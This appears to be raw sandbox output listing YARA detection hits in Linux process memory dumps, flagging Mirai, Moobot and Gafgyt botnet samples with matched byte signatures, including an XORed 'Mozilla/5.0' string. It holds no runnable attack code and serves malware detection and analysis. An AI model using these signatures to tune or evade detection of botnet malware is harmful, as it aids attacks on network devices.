6550.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7234.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7234.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7234.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7234.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6755.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6556.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6556.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6556.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6556.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6556.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6556.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7234.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7234.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6235.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7016.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7016.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7016.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7016.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7016.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7016.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7063.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6351.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6351.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6351.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6351.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6351.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6351.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6899.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6353.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7109.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7109.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7109.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7109.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7109.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7109.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7292.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7292.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7292.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7292.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7292.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 